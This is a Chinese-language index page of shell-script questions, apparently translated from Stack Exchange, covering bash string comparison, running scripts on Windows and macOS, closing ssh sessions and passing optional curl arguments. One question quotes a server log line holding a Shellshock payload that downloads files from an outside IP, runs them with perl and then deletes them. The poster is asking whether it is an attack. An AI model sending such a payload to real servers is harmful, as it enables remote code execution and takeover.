Questions tagged «shell-script»

Shell脚本是为操作系统的Shell(或命令行解释器)编写的脚本。

2
如何在if / else语句中将变量与文本字符串而不是整数进行比较?
在编写shell脚本的过程中,我遇到了以下if / else语句出现在脚本中间的问题: if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi 返回错误为: ./gitup: line 13: [: add: integer expression expected 然后继续执行脚本的其余部分。我如何让if段将变量评估/比较为字符串输入而不是整数;在我尝试过的其他几件事中,使用“!=”时需要一个不同的错误。

8
如何在Windows中运行Shell脚本?[重复]
这个问题已经在这里有了答案: 如何在Windows上执行.sh文件? (15个答案) 2年前关闭。 此问题是从Stack Overflow 迁移而来的,因为可以在Super User上回答。 迁移 7年前。 我是Mac用户,是Windows的新用户。如何在Windows中执行Shell脚本? 通常,我将使用扩展名保存文本文件.sh并通过Terminal运行它。但是我该如何在Windows中做到这一点?

3
这是攻击还是值得关注的事情?炮弹冲击?
access.log在我的测试服务器上看到了: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" 没有任何地址与我或我们的IP范围(或与此有关的任何其他内容)有关,立即考虑了Shellshock安全漏洞 /“ bashdoor”。 实际上,似乎有人尝试将curl“某物”降到服务器上,然后执行该“某物”,然后用删除了该“某物” -rf。 这是一个纯粹的测试服务器,没有造成任何危害(==除了重新安装之外没有任何危害)-但是时间安排非常有趣。据我回忆,以前从未见过这样的事情。 我应该担心,例如被“感兴趣”吗?有谁知道这是什么吗?

7
在OS X上运行Shell脚本而没有出现终端窗口?
我试图设置一些键盘快捷键来打开特定的iTerm会话,这可以通过BetterTouchTool和一些AppleScript魔术来完成。问题是OS X坚持要为您通过GUI(例如,从Finder或从BetterTouchTool作为键盘快捷键)执行的任何外壳脚本打开“终端”窗口。如果直接从另一个终端运行脚本,则不会出现终端窗口。 我发现的一种解决方法是将脚本包装在.app目录中,这解决了多余的终端窗口的问题,但是还有其他一些问题(例如OS X似乎将每个生成的iTerm窗口视为一个单独的应用程序,使我的停靠点变得混乱)。(编辑:此行为实际上是由我的脚本中的错误引起的,请参见下文) 我还尝试将“终端”应用程序分配到“空间”设置中的另一个虚拟桌面,以将其移到视线范围之外,但是随后它将仅在运行脚本之前首先切换到该桌面。 有没有办法完全禁用此行为?我已经在“终端”首选项中找到了在脚本完成后关闭窗口的设置,但是将“终端”窗口弹出一秒钟仍然很烦人。

3
从命令行或脚本确定Mac的体系结构?
我正在写一个shell脚本,我需要了解体系结构,即PPC或Intel。过去,有一个程序/ bin / arch告诉您,但我的Mac似乎没有。 有没有简单的方法可以做到这一点?Grep在日志文件中有东西吗?调用其他程序将其作为副作用吐出来吗? 很高兴知道我也正在运行哪个OS版本,但这可能不是必需的。

7
ssh和shell通过ssh:如何退出?
我正在通过SSH这样启动远程脚本: ssh user@ipaddress '~/my_script.sh' 一切都很好,但是一旦脚本完成,连接就不会关闭。我必须按CTRL-C断开当前连接。 我已经尝试过“〜/ my_script.sh”中的“退出”命令,它没有用。我已经尝试在“〜/ my_script.sh”中使用“注销”命令,并且收到一条消息: logout: not login shell: use exit ... 知道脚本完成后如何自动正确关闭SSH吗? (为澄清起见,进行了修改:)这是我的脚本里面的内容: #!/bin/sh path_sources_qas=/sources/QuickAddress/ path_qas_bin=/usr/bin/qas umount_disque_qas() { # Umount du disque 'qas' s'il n'avait pas été 'umount' : nom_disque_monte=`cat /etc/mtab | grep qas | awk '{ print $2}'` if [ "$nom_disque_monte" != "" ] then …
22 bash  ssh  shell-script 


1
Bash:可选地将参数传递给命令
我试图将参数添加到命令调用取决于另一个变量。请查看shell脚本代码: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com 在示例中,如果title给定的值不为null,则会将参数添加到curl。 如果title包含空格,这将无法正常工作。同样,我也不$(...)能用引号引起来,因为如果title为null,它将产生意外的空参数curl。 我应该怎么做才能使其按预期工作。

3
使用管道将两个参数传递给命令
通常,我们只需要传递一个参数: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file 有没有办法传递两个参数?就像是 {echo abc , echo xyz} | cat cat `echo abc` `echo xyz` 我可以先将结果存储在一个文件中 echo abc > file1 echo xyz > file2 cat file1 file2 但后来我可能不小心覆盖了一个文件,这是不行的。这将进入非交互式脚本。基本上,我需要一种方法将两个任意命令的结果传递给 cat 无需写入文件。 更新: 对不起,该示例掩盖了问题。而 { echo abc …

4
我应该在所有脚本上都使用* .sh和* .rb文件扩展名吗?
我的$ HOME / bin目录中有一堆手动滚动的可执行脚本。有些用bash编写,有些用Ruby编写。他们所有人的顶部都有shebang行,告诉shell使用什么解释器(在我的例子中是bash或Ruby)。 我想知道将文件扩展名放在这些脚本上以指示它们使用的脚本语言是否更好?例如,Ruby中的脚本将带有* .rb后缀,而bash的脚本将带有* .sh后缀。 当前,这些脚本仅具有简单名称,没有文件扩展名。 最佳做法是什么?


2
编写可在任何shell上运行的shell脚本(使用多个shebang行?)
我刚刚开始更深入地了解Shell脚本,而且我一直只是将我的脚本扔到一个文件中,对其进行标记chmod +x,然后完成/path/to/script.sh,然后让任何默认的解释器使用它,我认为这是zsh,因为那是我用我的壳。显然/bin/sh,即使我从zsh提示符执行脚本,这似乎也是默认设置,因为我开始在脚本中放入特定于zsh的内容,除非我运行,否则它会失败zsh /path/to/script.sh。 明确地说,这是我的问题: 当#!/path/to/shell开始没有shebang行()时,哪个shell执行脚本?我假设/bin/sh但无法确认。 在编写可在任何平台上运行的shell脚本方面,什么被称为“最佳实践”?(好的,这是开放式的) 如果zsh不可用,是否有可能编写尝试使用zsh并退回到bash的脚本?我已经尝试过放置两条shebang行,如下所示,但是bad interpreter: /bin/zsh: no such file or directory如果我在没有zsh的计算机上尝试,那只会出错。 #!/bin/zsh #!/bin/bash



1
将非常长的单词行分割为最大长度的单独行
我有一个脚本,该脚本在用空格分隔的单行上输出软件包列表。该行中包含的信息应插入到文本文件中,然后再提供给用户。 我想将长行分割成具有定义的最大长度的多行,例如80个字符,但是分割应该仅在空格处进行(因此,如果恰好在80个字符后没有空格,则某些行可能会更短,并且下一个元素会它更长)。 如果单个条目的长度超过80个字符,这种情况可能永远不会发生,而且我不在乎此条目是在中间拆分还是导致更长的一行。 基本上,与大多数文本编辑器在选择自动换行时所做的相同,但是我想从shell脚本中执行。 输入示例: libkrb5-3 libk5crypto3 openssh-server libc-bin base-files sysvinit-utils bind9-host python-minimal python-reportbug dnsutils perl libgnutls-openssl27 mutt reportbug libdns88 perl-base whois bash libgnutls26 perl-modules libapt-inst1.5 python2.7 libexpat1 libisccc80 libgssrpc4 apt-utils procmail apt locales liblwres80 libkrb5support0 python openssh-client multiarch-support libgcrypt11 dpkg libxml2 libbind9-80 wget libapt-pkg4.12 file ssh libkadm5clnt-mit8 libisccfg82 libkadm5srv-mit8 …

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.